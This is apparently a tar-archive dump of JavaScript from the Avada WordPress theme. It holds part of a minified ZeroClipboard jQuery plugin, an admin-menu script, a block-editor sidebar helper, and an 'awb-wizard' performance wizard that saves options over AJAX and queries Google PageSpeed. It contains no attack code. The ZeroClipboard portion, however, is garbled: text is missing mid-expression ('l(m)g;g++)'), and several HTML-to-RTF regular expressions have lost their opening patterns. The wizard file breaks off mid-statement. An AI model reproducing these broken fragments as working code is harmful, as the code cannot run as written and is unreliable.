e;for(b=0,c=a.length;c>b;b++)if(r.call(a,b)&&(d=mb(a[b]))){if("*"===d){e.length=0,e.push("*");break}-1===e.indexOf(d)&&e.push(d)}return e};return function(b,c){var d=mb(c.swfPath);null===d&&(d=b);var e=a(c.trustedDomains),f=e.length;if(f>0){if(1===f&&"*"===e[0])return"always";if(-1!==e.indexOf(b))return 1===f&&b===d?"sameDomain":"always"}return"never"}}(),ob=function(){try{return f.activeElement}catch(a){return null}},pb=function(a,b){if(!a||1!==a.nodeType)return a;if(a.classList)return a.classList.contains(b)||a.classList.add(b),a;if(b&&"string"==typeof b){var c=(b||"").split(/\s+/);if(1===a.nodeType)if(a.className){for(var d=" "+a.className+" ",e=a.className,f=0,g=c.length;g>f;f++)d.indexOf(" "+c[f]+" ")<0&&(e+=" "+c[f]);a.className=e.replace(/^\s+|\s+$/g,"")}else a.className=b}return a},qb=function(a,b){if(!a||1!==a.nodeType)return a;if(a.classList)return a.classList.contains(b)&&a.classList.remove(b),a;if("string"==typeof b&&b){var c=b.split(/\s+/);if(1===a.nodeType&&a.className){for(var d=(" "+a.className+" ").replace(/[\n\t]/g," "),e=0,f=c.length;f>e;e++)d=d.replace(" "+c[e]+" "," ");a.className=d.replace(/^\s+|\s+$/g,"")}}return a},rb=function(a,b){var c=e.getComputedStyle(a,null).getPropertyValue(b);return"cursor"!==b||c&&"auto"!==c||"A"!==a.nodeName?c:"pointer"},sb=function(){var a,b,c,d=1;return"function"==typeof f.body.getBoundingClientRect&&(a=f.body.getBoundingClientRect(),b=a.right-a.left,c=f.body.offsetWidth,d=n(b/c*100)/100),d},tb=function(a){var b={left:0,top:0,width:0,height:0};if(a.getBoundingClientRect){var c,d,g,h=a.getBoundingClientRect();"pageXOffset"in e&&"pageYOffset"in e?(c=e.pageXOffset,d=e.pageYOffset):(g=sb(),c=n(f.documentElement.scrollLeft/g),d=n(f.documentElement.scrollTop/g));var i=f.documentElement.clientLeft||0,j=f.documentElement.clientTop||0;b.left=h.left+c-i,b.top=h.top+d-j,b.width="width"in h?h.width:h.right-h.left,b.height="height"in h?h.height:h.bottom-h.top}return b},ub=function(){var a;if(d&&(a=fb(A.bridge))){var b=tb(d);u(a.style,{width:b.width+"px",height:b.height+"px",top:b.top+"px",left:b.left+"px",zIndex:""+wb(H.zIndex)})}},vb=function(a){A.ready===!0&&(A.bridge&&"function"==typeof A.bridge.setHandCursor?A.bridge.setHandCursor(a):A.ready=!1)},wb=function(a){if(/^(?:auto|inherit)$/.test(a))return a;var b;return"number"!=typeof a||m(a)?"string"==typeof a&&(b=wb(k(a,10))):b=a,"number"==typeof b?b:"auto"},xb=function(a){function b(a){var b=a.match(/[\d]+/g);return b.length=3,b.join(".")}function c(a){return!!a&&(a=a.toLowerCase())&&(/^(pepflashplayer\.dll|libpepflashplayer\.so|pepperflashplayer\.plugin)$/.test(a)||"chrome.plugin"===a.slice(-13))}function d(a){a&&(i=!0,a.version&&(m=b(a.version)),!m&&a.description&&(m=b(a.description)),a.filename&&(k=c(a.filename)))}var e,f,h,i=!1,j=!1,k=!1,m="";if(g.plugins&&g.plugins.length)e=g.plugins["Shockwave Flash"],d(e),g.plugins["Shockwave Flash 2.0"]&&(i=!0,m="2.0.0.11");else if(g.mimeTypes&&g.mimeTypes.length)h=g.mimeTypes["application/x-shockwave-flash"],e=h&&h.enabledPlugin,d(e);else if("undefined"!=typeof a){j=!0;try{f=new a("ShockwaveFlash.ShockwaveFlash.7"),i=!0,m=b(f.GetVariable("$version"))}catch(n){try{f=new a("ShockwaveFlash.ShockwaveFlash.6"),i=!0,m="6.0.21"}catch(o){try{f=new a("ShockwaveFlash.ShockwaveFlash"),i=!0,m=b(f.GetVariable("$version"))}catch(p){j=!1}}}}A.disabled=i!==!0,A.outdated=m&&l(m)g;g++)a=e.getRangeAt(g),c+=a.toString(),f.appendChild(a.cloneContents());return d["text/plain"]=c,c.replace(/\s/g,"")&&(d["text/html"]=f.innerHTML),d}function d(a){if("string"!=typeof a||!a)return null;var b,c,d=a;return d=d.replace(/<(?:hr)(?:\s+[^>]*)?\s*[\/]?>/gi,"{\\pard \\brdrb \\brdrs \\brdrw10 \\brsp20 \\par}\n{\\pard\\par}\n"),d=d.replace(/<(?:br)(?:\s+[^>]*)?\s*[\/]?>/gi,"{\\pard\\par}\n"),d=d.replace(/<(?:p|div|section|article)(?:\s+[^>]*)?\s*[\/]>/gi,"{\\pard\\par}\n"),d=d.replace(/<(?:[^>]+)\/>/g,""),d=d.replace(/]*)?(?:\s+href=(["'])(?:javascript:void\(0?\);?|#|return false;?|void\(0?\);?|)\1)(?:\s+[^>]*)?>/gi,"{{{\n"),b=d,d=d.replace(/]*)?(?:\s+href=(["'])(.+)\1)(?:\s+[^>]*)?>/gi,'{\\field{\\*\\fldinst{HYPERLINK\n "$2"\n}}{\\fldrslt{\\ul\\cf1\n'),c=d!==b,d=d.replace(/]*)?>/gi,"{{{\n"),d=d.replace(/<\/a(?:\s+[^>]*)?>/gi,"\n}}}"),d=d.replace(/<(?:b|strong)(?:\s+[^>]*)?>/gi,"{\\b\n"),d=d.replace(/<(?:i|em)(?:\s+[^>]*)?>/gi,"{\\i\n"),d=d.replace(/<(?:u|ins)(?:\s+[^>]*)?>/gi,"{\\ul\n"),d=d.replace(/<(?:strike|del)(?:\s+[^>]*)?>/gi,"{\\strike\n"),d=d.replace(/]*)?>/gi,"{\\super\n"),d=d.replace(/]*)?>/gi,"{\\sub\n"),d=d.replace(/<(?:p|div|section|article)(?:\s+[^>]*)?>/gi,"{\\pard\n"),d=d.replace(/<\/(?:p|div|section|article)(?:\s+[^>]*)?>/gi,"\n\\par}\n"),d=d.replace(/<\/(?:b|strong|i|em|u|ins|strike|del|sup|sub)(?:\s+[^>]*)?>/gi,"\n}"),d=d.replace(/<(?:[^>]+)>/g,""),d="{\\rtf1\\ansi\n"+(c?"{\\colortbl\n;\n\\red0\\green0\\blue255;\n}\n":"")+d+"\n}"}function e(b){var e=a.Event(b.type,a.extend(b,{_source:"swf"}));if(a(b.target).trigger(e),"copy"===e.type){if(a.event.special.copy.options.requirePreventDefault===!0&&!e.isDefaultPrevented()){b.clipboardData.clearData();var f=c();(f["text/plain"]||f["text/html"])&&b.clipboardData.setData(f)}var g=n.getData();if(a.event.special.copy.options.autoConvertHtmlToRtf===!0&&g["text/html"]&&!g["application/rtf"]){var h=d(g["text/html"]);b.clipboardData.setData("application/rtf",h)}}}function f(b){var c=a.Event("copy-error",a.extend(b,{type:"copy-error",_source:"swf"}));a(b.target).trigger(c)}function g(){a.event.props.push("clipboardData"),n.config(a.extend(!0,{autoActivate:!1},p.options)),n.on("beforecopy copy aftercopy",e),n.on("error",f),n.create()}function h(){n.destroy();var b=a.event.props.indexOf("clipboardData");-1!==b&&a.event.props.splice(b,1)}function i(b){k(b),b.target&&b.target!==n.activeElement()&&b.target!==a("#"+n.config("containerId"))[0]&&b.target!==a("#"+n.config("swfObjectId"))[0]&&n.focus(b.target)}function j(b){k(b),b.relatedTarget&&b.relatedTarget!==n.activeElement()&&b.relatedTarget!==a("#"+n.config("containerId"))[0]&&b.relatedTarget!==a("#"+n.config("swfObjectId"))[0]&&n.blur()}function k(a){n.isFlashUnusable()||"js"===a.originalEvent._source||(a.stopImmediatePropagation(),a.preventDefault())}var l=0,m=".zeroclipboard",n=b.ZeroClipboard,o=n.config("trustedDomains"),p={add:function(b){0===l++&&g();var c=m+(b.namespace?"."+b.namespace:""),d=b.selector,e="zc|{"+d+"}|{"+c+"}|count",f=a(this);"number"!=typeof f.data(e)&&f.data(e,0),0===f.data(e)&&(f.on("mouseenter"+c,d,i),f.on("mouseleave"+c,d,j),f.on("mouseover"+c,d,k),f.on("mouseout"+c,d,k),f.on("mousemove"+c,d,k),f.on("mousedown"+c,d,k),f.on("mouseup"+c,d,k),f.on("click"+c,d,k)),f.data(e,f.data(e)+1)},remove:function(b){var c=m+(b.namespace?"."+b.namespace:""),d=b.selector,e="zc|{"+d+"}|{"+c+"}|count",f=a(this);f.data(e,f.data(e)-1),0===f.data(e)&&(f.off("click"+c,d,k),f.off("mouseup"+c,d,k),f.off("mousedown"+c,d,k),f.off("mousemove"+c,d,k),f.off("mouseout"+c,d,k),f.off("mouseover"+c,d,k),f.off("mouseleave"+c,d,j),f.off("mouseenter"+c,d,i),f.removeData(e)),0===--l&&h()},trigger:function(b){if("copy"===b.type){var c=a(this),d="swf"===b._source;delete b._source,d||(c.trigger(a.extend(!0,{},b,{type:"beforecopy"})),c.one("copy",function(){var d={},e=n.getData();a.each(e,function(a){d[a]=!1});var f=a.extend(!0,{},b,{type:"aftercopy",data:a.extend(!0,{},e),success:d});c.trigger(f)}))}},_default:function(){return!0},options:{requirePreventDefault:!0,autoConvertHtmlToRtf:!0,trustedDomains:o,hoverClass:"hover",activeClass:"active"}};a.event.special.beforecopy=p,a.event.special.copy=p,a.event.special.aftercopy=p,a.event.special["copy-error"]=p}(jQuery,function(){return this||b}()),d||delete b.ZeroClipboard}(jQuery,function(){return this||window}()); Avada/assets/admin/js/avada-theme-options-menu-mod.js000064400000003743152342437710016527 0ustar00jQuery( document ).ready( function() { var avadaMenu; // Hide the menu from Appearance. jQuery( '#menu-appearance a[href="themes.php?page=avada_options"]' ).css( 'display', 'none' ); // Activate the Avada admin menu global option entry when global options are active. if ( jQuery( 'a[href="themes.php?page=avada_options"]' ).hasClass( 'current' ) ) { avadaMenu = jQuery( '#toplevel_page_avada' ); avadaMenu.addClass( 'wp-has-current-submenu wp-menu-open' ).removeClass( 'wp-not-current-submenu' ); avadaMenu.children( 'a' ).addClass( 'wp-has-current-submenu wp-menu-open' ); avadaMenu.children( '.wp-submenu' ).find( 'a[href="themes.php?page=avada_options"]' ).parent().addClass( 'current' ); avadaMenu.children( '.wp-submenu' ).find( 'a[href="themes.php?page=avada_options"]' ).addClass( 'current' ); // Do not show the appearance menu as active jQuery( '#menu-appearance a[href="themes.php"]' ).removeClass( 'wp-has-current-submenu wp-menu-open' ); jQuery( '#menu-appearance' ).removeClass( 'wp-has-current-submenu wp-menu-open' ); jQuery( '#menu-appearance' ).addClass( 'wp-not-current-submenu' ); jQuery( '#menu-appearance a[href="themes.php"]' ).addClass( 'wp-not-current-submenu' ); jQuery( '#menu-appearance' ).children( '.wp-submenu' ).find( 'li' ).removeClass( 'current' ); } // Maintenance jQuery( '.avada-db-menu-sub-item-maintenance a, a[href="themes.php?page=avada_options#heading_maintenance"]' ).on( 'click', function( e ) { e.preventDefault(); goToMaintenanceModeTab(); } ); } ); // Prevent anchor jumping on page load if ( location.hash && '#heading_maintenance' === location.hash ) { jQuery( window ).on( 'load', function() { setTimeout( function() { goToMaintenanceModeTab(); }, 200 ); } ); } function goToMaintenanceModeTab() { jQuery( 'a[data-css-id="heading_maintenance"]' ).trigger( 'click' ); jQuery( 'html, body' ).animate( { scrollTop: jQuery( '#fusionredux-form-wrapper' ).offset().top - jQuery( '#wpadminbar' ).height() }, 500 ); } Avada/assets/admin/js/block-editor.js000064400000004331152342437710013513 0ustar00jQuery( window ).on( 'load', function() { var sidebar1Option, sidebar2Option; // Find the 1st sidebar depending on the post-type and available options. [ 'pages_sidebar', 'posts_sidebar', 'portfolio_sidebar', 'woo_sidebar', 'ec_sidebar', 'ppbress_sidebar' ].forEach( function( option ) { if ( jQuery( '#pyre_' + option ).length ) { sidebar1Option = option; } } ); // Find the 2nd sidebar depending on the post-type and available options. [ 'pages_sidebar_2', 'posts_sidebar_2', 'portfolio_sidebar_2', 'woo_sidebar_2', 'ec_sidebar_2', 'ppbress_sidebar_2' ].forEach( function( option ) { if ( jQuery( '#pyre_' + option ).length ) { sidebar2Option = option; } } ); // Early exit if we didn't find sidebars options. if ( ! sidebar1Option || ! sidebar2Option ) { return; } // Initial classes set on page load. setSidebarClasses(); // Change classes when the sidebar-1 option changes. jQuery( '.block-editor-page' ).on( 'change', '#pyre_' + sidebar1Option, function() { setSidebarClasses(); } ); // Change classes when the sidebar-2 option changes. jQuery( '.block-editor-page' ).on( 'change', '#pyre_' + sidebar2Option, function() { setSidebarClasses(); } ); function setSidebarClasses() { var sidebarOneValue = jQuery( '#pyre_' + sidebar1Option ).children( 'option:selected' ).val(), sidebarOneText = jQuery( '#pyre_' + sidebar1Option ).children( 'option:selected' ).text(), sidebarTwoValue = jQuery( '#pyre_' + sidebar2Option ).children( 'option:selected' ).val(), sidebarTwoText = jQuery( '#pyre_' + sidebar2Option ).children( 'option:selected' ).text(); // No sidebar. if ( ! sidebarOneValue || ( 'default_sidebar' === sidebarOneValue && -1 !== sidebarOneText.indexOf( 'None' ) ) ) { jQuery( '.block-editor-page' ).removeClass( 'has-sidebar' ).removeClass( 'double-sidebars' ); return; } // Single sidebar. jQuery( '.block-editor-page' ).addClass( 'has-sidebar' ); if ( ! sidebarTwoValue || ( 'default_sidebar' === sidebarTwoValue && -1 !== sidebarTwoText.indexOf( 'None' ) ) ) { jQuery( '.block-editor-page' ).removeClass( 'double-sidebars' ); return; } // Double sidebars. jQuery( '.block-editor-page' ).addClass( 'double-sidebars' ); } } ); Avada/assets/admin/js/awb-wizard.js000064400000056361152342437710013216 0ustar00/* global awbPerformance, AwbTypography, ajaxurl, awbTypoData */ window.awbWizard = { /** * Run actions on load. * * @since 7.4 * * @return {void} */ init: function() { this.$el = jQuery( '.avada-dashboard' ); this.activeStep = 1; this.$steps = this.$el.find( '.awb-wizard-steps' ); this.homeURL = awbPerformance.homeURL; this.apiKey = awbPerformance.apiKey; this.saveChange = awbPerformance.saveChange; this.accessible = this.checkSiteAccessible(); // Font variant notice. this.$vnote = this.$el.find( '.variant-analysis' ); this.$vcount = this.$el.find( '.variant-count' ); // Lighthouse data is turned on. this.lighthouse = { before: false, after: false }; this.runTests = 'none'; // Listeners for events. this.addListeners(); // Init typography fields, could be moved. this.fontsRendered = false; this.initFontOptions(); }, /** * Init font family/variant select fields. * * @since 7.4 * * @return {void} */ initFontOptions: function() { var self = this, $fontFamily = this.$el.find( '.fusion-builder-font-family' ); if ( _.isUndefined( window.awbTypographySelect ) || _.isUndefined( window.awbTypographySelect.webfonts ) ) { jQuery.when( window.awbTypographySelect.getWebFonts() ).done( function() { self.initAfterWebfontsLoaded( $fontFamily ); } ); } else { this.initAfterWebfontsLoaded( $fontFamily ); } this.maybeShowPreload(); }, /** * Handle dependency for preloading options. * * @since 7.4 * * @return {void} */ maybeShowPreload: function() { var preloadVal = this.$el.find( 'input[name="preload_fonts"]' ).val(); if ( 'all' === preloadVal || 'google_fonts' === preloadVal ) { this.$el.find( '[name="preload_fonts_variants"], [name="preload_fonts_subsets"]' ).closest( '.pyre_metabox_field' ).show(); } else { this.$el.find( '[name="preload_fonts_variants"], [name="preload_fonts_subsets"]' ).closest( '.pyre_metabox_field' ).hide(); } }, /** * Check if site is accessible. * * @since 7.4 * * @return {void} */ checkSiteAccessible: function() { if ( this.homeURL.includes( 'localhost' ) ) { return false; } if ( ! this.homeURL.includes( '//' ) ) { return false; } return true; }, /** * Change which step is active. * * @since 7.4 * * @return {void} */ changeStep: function( step ) { var $step = this.$el.find( '.awb-wizard-section[data-step="' + step + '"]' ); if ( $step.length ) { // If this is the final step. if ( 'finish' === $step.attr( 'data-id' ) ) { this.finishSteps(); this.maybeFinishGPS(); } $step.removeClass( 'hidden' ); this.$el.find( '.awb-wizard-section:not([data-step="' + step + '"])' ).addClass( 'hidden' ); this.activeStep = parseInt( step ); this.$steps.find( '.completed' ).removeClass( 'completed' ); this.$steps.find( 'li:not([data-id="' + step + '"])' ).removeClass( 'active' ); this.$steps.find( '[data-id="' + step + '"]' ).addClass( 'active' ).prevAll().addClass( 'completed' ); this.scrollTo(); } }, /** * Perform finishing steps, cache, homepage load and test if desired. * * @since 7.4 * * @return {void} */ finishSteps: function() { var self = this, $progress = this.$el.find( '.finish-progress' ), $heading = $progress.find( '.avada-db-card-notice-heading' ), $improvements = this.$el.find( '.awb-possible-improvements' ); $progress.addClass( 'fetching' ); // Clear cache and maybe run lighthouse. this.clearCache().done( function() { $heading.html( awbPerformance.loadingHome ); jQuery.ajax( { type: 'GET', url: self.homeURL } ) .done( function() { if ( ! self.maybeFinishGPS() ) { $progress.removeClass( 'fetching' ).addClass( 'success' ); $heading.html( awbPerformance.wizardComplete ); } else { $heading.html( awbPerformance.performLighthouse ); } } ) .fail( function() { $progress.removeClass( 'fetching' ); self.addTemporaryClass( $progress, 'error' ); $heading.html( awbPerformance.errorLoadingPage ); } ); } ).fail( function() { $progress.removeClass( 'fetching' ); self.addTemporaryClass( $progress, 'error' ); $heading.html( awbPerformance.errorClearingCache ); } ); // Check if there are any recommendations to highlight. if ( this.$el.find( '.pyre_metabox_field.value-bad' ).length ) { $improvements.html( '' ).closest( '.awb-recommendation-holder' ).addClass( 'show-recommendations' ); this.$el.find( '.pyre_metabox_field.value-bad' ).each( function() { var $element = jQuery( this ); $improvements.append( '
  • ' + $element.find( 'label' ).text() + ' - ' + $element.next( '.wizard-recommendation' ).text() + '
  • ' ); } ); } }, /** * Clear the cache. * * @since 7.4 * * @return {void} */ clearCache: function() { return jQuery.ajax( { type: 'POST', url: ajaxurl, data: { action: 'awb_performance_cache', awb_performance_nonce: jQuery( '#awb-performance-nonce' ).val() } } ); }, /** * Scroll to top when step changed. * * @since 7.4 * * @return {void} */ scrollTo: function() { jQuery( 'html, body' ).animate( { scrollTop: 0 }, 300 ); }, /** * Check which test to run. * * @since 7.4 * * @return {void} */ checkTest: function() { if ( ! awbPerformance.lighthouse ) { return 'none'; } return this.$el.find( '#awb_wizard_tests' ).length ? this.$el.find( '#awb_wizard_tests' ).val() : 'none'; }, /** * Check if we should start a before lighthouse test and run it. * * @since 7.4 * * @return {void} */ maybeStartGPS: function() { this.runTests = this.checkTest(); // If user wants testing and nothing retrieved already, run test in background. if ( 'none' !== this.runTests && false === this.lighthouse.before ) { this.runPageSpeed( 'before' ); } }, /** * Check if we should start an after lighthouse test and run it. * * @since 7.4 * * @return {void} */ maybeFinishGPS: function() { // If user wants testing and nothing retrieved already, run test in background. if ( 'none' !== this.runTests && false === this.lighthouse.after ) { // TODO: clear cache (always), then if testing score load page first to ensure CSS & JS generated. this.runPageSpeed( 'after' ); this.$el.find( '.awb-wizard-score-holder' ).removeClass( 'hidden' ); return true; } this.$el.find( '.awb-wizard-score-holder' ).addClass( 'hidden' ); return false; }, /** * Add needed listeners. * * @since 7.4 * * @return {void} */ addListeners: function() { var self = this; // Listen for step change click. this.$el.find( '.awb-wizard-link' ).on( 'click', function( event ) { var target = jQuery( this ).attr( 'data-id' ), $activeStep = self.$el.find( '.awb-wizard-section[data-step="' + self.activeStep + '"]' ); event.preventDefault(); // Check if active step has unsaved changes. if ( '1' === $activeStep.attr( 'data-save' ) ) { if ( ! window.confirm( self.saveChange ) ) { // eslint-disable-line no-alert return; } } if ( target ) { self.changeStep( target ); } // If its the starting step. if ( jQuery( this ).hasClass( 'awb-get-started' ) ) { self.maybeStartGPS(); } } ); // Listen for test radio change and set to el to control what is shown on final step. this.$el.find( '#awb_wizard_tests' ).on( 'change', function() { self.$el.attr( 'data-test', jQuery( this ).val() ); } ); // Listen for option change and enable save. this.$el.find( '.button-set-value:not( #awb_wizard_tests ), select, input[type="checkbox"], .fusion-slider-input, .fusion-select-option-value' ).on( 'change', function() { var $field = jQuery( this ).closest( '.pyre_metabox_field' ), value = jQuery( this ).val(), recommended = $field.attr( 'data-recommendation' ); // If its peload fonts changing, update the dependencies. if ( 'preload_fonts' === jQuery( this ).attr( 'name' ) ) { self.maybeShowPreload(); } // If its an initial font option render, don't trigger save state. if ( 4 == parseInt( jQuery( this ).closest( '.awb-wizard-section' ).attr( 'data-step' ) ) && ! self.fontsRendered ) { return; } // Check if it has recommendation and compare. if ( recommended ) { if ( 'object' === typeof value && 'function' === typeof value.join ) { value = value.join( ',' ); } if ( recommended === value ) { $field.removeClass( 'value-bad' ).addClass( 'value-good' ); } else { $field.removeClass( 'value-good' ).addClass( 'value-bad' ); } } // Set step change to requiring a save. jQuery( this ).closest( '.awb-wizard-section' ).attr( 'data-save', '1' ); } ); // Listen stage save click. this.$el.find( '.awb-wizard-save' ).on( 'click', function( event ) { var $button = jQuery( this ), saveData = {}, $step = $button.closest( '.awb-wizard-section' ); // Get the data we want to save. if ( 'elements' === $button.attr( 'data-id' ) ) { saveData = []; $step.find( ':checkbox:checked' ).each( function() { saveData.push( jQuery( this ).val() ); } ); } else { $step.find( '.pyre_field input, .pyre_field select' ).each( function() { var value = jQuery( this ).val(), name = jQuery( this ).attr( 'name' ); if ( 'string' !== typeof name ) { return; } if ( 'object' === typeof value && ! value.length ) { value = [ '' ]; } // Empty extra is pointless, remove it. name = name.replace( '[]', '' ); // If its an array subvalue. if ( name.includes( '[' ) ) { name = name.split( '[' ); if ( 'object' !== typeof saveData[ name[ 0 ] ] ) { saveData[ name[ 0 ] ] = {}; } saveData[ name[ 0 ] ][ name[ 1 ].replace( ']', '' ) ] = value; return; } // Not a sub value. saveData[ name ] = value; } ); } event.preventDefault(); if ( $button.hasClass( 'disabled' ) ) { return; } $button.addClass( 'disabled saving' ); jQuery.ajax( { type: 'POST', url: ajaxurl, dataType: 'json', data: { action: 'awb_performance_save', save_data: saveData, step: $button.attr( 'data-id' ), awb_performance_nonce: jQuery( '#awb-performance-nonce' ).val() } } ) .done( function( response ) { $button.trigger( 'blur' ); if ( 'object' !== typeof response ) { $button.removeClass( 'disabled saving' ); self.addTemporaryClass( $button, 'error' ); return; } if ( ! response.success ) { self.displayError( response.data ); $button.removeClass( 'disabled saving' ); self.addTemporaryClass( $button, 'error' ); return; } $button.removeClass( 'disabled saving' ); self.addTemporaryClass( $button, 'success' ); $button.closest( '.awb-wizard-section' ).attr( 'data-save', '0' ); } ) .fail( function() { $button.removeClass( 'disabled saving' ); self.addTemporaryClass( $button, 'error' ); } ); } ); // Check all elements. this.$el.find( '.awb-wizard-checkall' ).on( 'click', function( event ) { event.preventDefault(); self.$el.find( '.fusion-builder-option-field input' ).prop( 'checked', true ); jQuery( this ).closest( '.awb-wizard-section' ).attr( 'data-save', '1' ); } ); // Uncheck all elements. this.$el.find( '.awb-wizard-uncheckall' ).on( 'click', function( event ) { event.preventDefault(); self.$el.find( '.fusion-builder-option-field input' ).prop( 'checked', false ); jQuery( this ).closest( '.awb-wizard-section' ).attr( 'data-save', '1' ); } ); // Apply recommendations this.$el.find( '.awb-wizard-apply' ).on( 'click', function( event ) { event.preventDefault(); self.applyRecommendations(); self.addTemporaryClass( jQuery( this ), 'success' ); } ); // Listen for scan button clicks. this.$el.find( '.awb-wizard-scan-button' ).on( 'click', function( event ) { var $button = jQuery( this ), scanType = $button.attr( 'data-id' ); event.preventDefault(); if ( $button.hasClass( 'disabled' ) ) { return; } $button.addClass( 'disabled saving' ); if ( 'fonts' === scanType || 'optimize' === scanType ) { $button.removeClass( 'disabled saving' ).trigger( 'blur' ); $button.closest( '.awb-wizard-section' ).addClass( 'show-recommendations' ); self.updateRecommendations(); self.addTemporaryClass( $button, 'success' ); return; } console.log( 'Scanning for ' + scanType ); jQuery.ajax( { type: 'GET', url: ajaxurl, dataType: 'json', data: { action: 'awb_performance_scan', scan_type: scanType, awb_performance_nonce: jQuery( '#awb-performance-nonce' ).val() } } ) .done( function( response ) { $button.trigger( 'blur' ); $button.closest( '.awb-wizard-section' ).addClass( 'show-recommendations' ); if ( 'object' !== typeof response ) { $button.removeClass( 'disabled saving' ); self.addTemporaryClass( $button, 'error' ); return; } if ( ! response.success ) { self.displayError( response.data ); $button.removeClass( 'disabled saving' ); self.addTemporaryClass( $button, 'error' ); return; } if ( 'icons' === scanType ) { self.updateIcons( response.data.markup ); self.updateRecommendations( response.data.recommendations ); } else if ( 'features' === scanType ) { self.updateRecommendations( response.data ); } else if ( 'elements' === scanType ) { self.updateElements( response.data ); } $button.removeClass( 'disabled saving' ); self.addTemporaryClass( $button, 'success' ); } ) .fail( function() { $button.removeClass( 'disabled saving' ); self.addTemporaryClass( $button, 'error' ); if ( 'icons' === scanType || 'elements' === scanType ) { alert( awbPerformance.scanError ); // eslint-disable-line no-alert } } ); } ); }, /** * Uncheck elements not being used. * * @since 7.4 * * @return {void} */ updateElements: function( elements ) { var $checkboxes = this.$el.find( '.fusion-builder-option-field input' ), self = this; if ( 'object' === typeof elements ) { // Check all first. $checkboxes.prop( 'checked', true ); // Disable for each unused. jQuery.each( elements, function( element, disable ) { // eslint-disable-line no-unused-vars var $checkbox = self.$el.find( 'input[value="' + element + '"]' ); if ( ! $checkbox.closest( 'li' ).hasClass( 'hidden' ) ) { $checkbox.prop( 'checked', false ); } } ); this.$el.find( '.awb-wizard-section[data-step="' + this.activeStep + '"]' ).attr( 'data-save', '1' ); } }, /** * Update icon scan markup. * * @since 7.4 * * @return {void} */ updateRecommendations: function( data ) { var self = this, $activeStep = this.$el.find( '.awb-wizard-section[data-step="' + this.activeStep + '"]' ); // Add dynamic recommendation text. if ( 'object' === typeof data ) { jQuery.each( data, function( optionID, optionData ) { var $element = self.$el.find( '[name="' + optionID + '"]' ).closest( '.pyre_metabox_field' ), dynamic = 'undefined' === typeof optionData.dynamic ? false : optionData.dynamic; if ( $element.length ) { $element.next( '.wizard-recommendation' ).remove(); if ( 'string' === typeof optionData.message && '' !== optionData.message ) { $element.after( '

    ' + optionData.message + '

    ' ); } if ( dynamic && 'undefined' !== typeof optionData.value ) { $element.attr( 'data-recommendation', optionData.value ); } } } ); } // Loop inputs and change value/add coloring. $activeStep.find( '.pyre_metabox_field' ).each( function() { var $element = jQuery( this ), recommended = $element.attr( 'data-recommendation' ), $input = $element.find( 'input, select' ), value = $input.val(); if ( ! recommended ) { return; } if ( 'object' === typeof value && 'function' === typeof value.join ) { value = value.join( ',' ); } if ( recommended === value ) { $element.addClass( 'value-good' ).removeClass( 'value-bad' ); } else { $element.addClass( 'value-bad' ).removeClass( 'value-good' ); } } ); // Make apply all button visibile. $activeStep.addClass( 'show-apply-all' ); }, /** * Apply recommendations on current step. * * @since 7.4 * * @return {void} */ applyRecommendations: function() { var $activeStep = this.$el.find( '.awb-wizard-section[data-step="' + this.activeStep + '"]' ); $activeStep.find( '.pyre_metabox_field' ).each( function() { var $element = jQuery( this ), recommended = $element.attr( 'data-recommendation' ), $input = $element.find( 'input, select' ), value = $input.length ? $input.val() : null; // Allow empty recommended value for FA select field. if ( ! recommended && 'status_fontawesome' !== $input.attr( 'name' ) ) { return; } if ( $element.find( 'select[multiple]' ).length && 'string' === typeof recommended ) { recommended = recommended.split( ',' ); $element.find( 'select[multiple]' ).val( recommended ).trigger( 'change' ); return; } if ( null !== value && recommended === value ) { return; } $element.find( '.buttonset-item.ui-state-active' ).removeClass( 'ui-state-active' ); $element.find( '.buttonset-item[data-value="' + recommended + '"]' ).addClass( 'ui-state-active' ); $element.find( 'input, select' ).val( recommended ).trigger( 'change' ); } ); // Hide button, no longer needed. setTimeout( function() { $activeStep.removeClass( 'show-apply-all' ); }, 2000 ); }, /** * Update icon scan markup. * * @since 7.4 * * @return {void} */ updateIcons: function( data ) { if ( '' !== data ) { this.$el.find( '#fusion-used-icons-table' ).removeClass( 'hidden' ); this.$el.find( '#fusion-used-icons-table tbody' ).html( data ); } }, /** * Add a class, wait and then remove. * * @since 7.4 * * @return {void} */ addTemporaryClass: function( $element, classname ) { $element.addClass( classname ); setTimeout( function() { $element.removeClass( classname ); }, 2000 ); }, /** * Display an error message to user. * * @since 7.4 * * @return {void} */ displayError: function( message ) { window.alert( message ); // eslint-disable-line no-alert }, /** * Run GPS test. * * @since 7.4 * * @return {void} */ runPageSpeed: function( status ) { var self = this, api = 'https://www.googleapis.com/pagespeedonline/v5/runPagespeed', parameters = { url: encodeURIComponent( this.homeURL ), category: 'PERFORMANCE', strategy: this.runTests.toUpperCase() }, query = api; status = 'undefined' === typeof status ? 'before' : status; // Site is not accessible, don't try. if ( ! this.accessible || 'none' === this.runTests ) { self.$el.find( '.awb-wizard-score-holder' ).addClass( 'hidden' ); return; } console.log( 'Running Test ', this.runTests ); // Which type of analysis to run. query += '?url=' + parameters.url; query += '&category=' + parameters.category; query += '&strategy=' + parameters.strategy; if ( this.apiKey ) { query += '&key=' + this.apiKey; } // Fetch results. fetch( query ).then( ( response ) => response.json() ).then( ( json ) => { var lighthouse, lighthouseMetrics; // Hide message saying it is fetching scores. if ( 'after' === status ) { self.$el.find( '.finish-progress' ).removeClass( 'fetching' ).addClass( 'success' ).find( '.avada-db-card-notice-heading' ).html( awbPerformance.wizardComplete ); } // Results failed in some way, set it so no further tests run. if ( 'object' !== typeof json || 'undefined' === typeof json.lighthouseResult ) { console.log( 'Lighthouse failed' ); self.$el.find( '.awb-wizard-score-holder' ).addClass( 'hidden' ); self.accessible = false; return; } lighthouse = json.lighthouseResult; console.log( 'lighthouse' ); lighthouseMetrics = { score: lighthouse.categories.performance.score * 100, fcp: lighthouse.audits[ 'first-contentful-paint' ].score * 100, lcp: lighthouse.audits[ 'largest-contentful-paint' ].score * 100, cls: lighthouse.audits[ 'cumulative-layout-shift' ].score * 100, fid: lighthouse.audits[ 'max-potential-fid' ].score * 100 }; // Store data with status. self[ status ] = lighthouseMetrics; console.log( 'Lighthouse completed', lighthouseMetrics ); // Update actual markup jQuery.each( lighthouseMetrics, function( metricId, metricValue ) { var $score = self.$el.find( '.awb-score-' + status + '[data-type="' + metricId + '"]' ), scoreClass = 'good'; if ( $score.length ) { if ( 50 > metricValue ) { scoreClass = 'poor'; } else if ( 90 > metricValue ) { scoreClass = 'okay'; } $score.removeClass( 'score-good score-okay score-poor score-fetching' ).addClass( 'score-' + scoreClass ).attr( 'data-score', metricValue ); $score.find( '.lh-gauge__percentage' ).html( Math.round( 